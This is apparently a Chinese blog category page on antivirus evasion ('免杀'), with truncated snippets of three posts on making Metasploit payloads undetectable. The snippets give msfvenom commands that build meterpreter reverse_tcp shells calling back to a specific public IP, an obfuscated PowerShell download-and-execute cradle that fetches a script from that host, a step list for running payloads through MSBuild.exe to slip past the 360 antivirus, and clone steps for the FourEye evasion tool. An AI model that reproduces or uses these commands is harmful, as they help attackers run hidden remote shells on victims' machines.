![](https://img-blog.csdnimg.cn/20201014180756923.png?x-oss-process=image/resize,m_fixed,h_64,w_64)
免杀
驾马飞雾
这个作者很懒,什么都没留下…
展开
-
Foureye实现免杀
一、项目地址 https://github.com/lengjibo/FourEye 推荐挂代理 二、相关命令 git clone https://github.com/lengjibo/FourEye.git cd FourEye pip install -r requirements.txt 三、msfvenom生成shellcode msfvenom -p windows/meterpreter/reverse_tcp LHOST=39.104.56.140 LPORT=7100 -f raw -o原创 2021-01-29 17:21:44 · 614 阅读 · 2 评论 -
Pcalua+Powershell混淆
一、Pcalua加载shellcode 1、msfvenom生成shellcode msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=39.104.56.140 LPORT=7100 -f psh-reflection > a.ps1 2、混淆处理 powershell "$a='IEX((new-object net.webclient).downloadstring(''ht';$b='tp://39.104.56.140:7200/a.原创 2021-01-29 17:03:39 · 287 阅读 · 0 评论 -
MSBuild.exe执⾏payload过360
1、msfvenom生成shellcode,注意⽣成的是psh格式 msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2lport=3333 -f psh -o shell.ps1 2、打开生成 shell.ps1 ⽂件,在⽂件最后添加 for (;;){ Start-sleep 60 } 保存一下 3、将修改后的 shell.ps1 ⽂件内容进⾏base64编码 可以使⽤在线平台(⽐如:https://www.so原创 2021-01-26 17:47:35 · 307 阅读 · 0 评论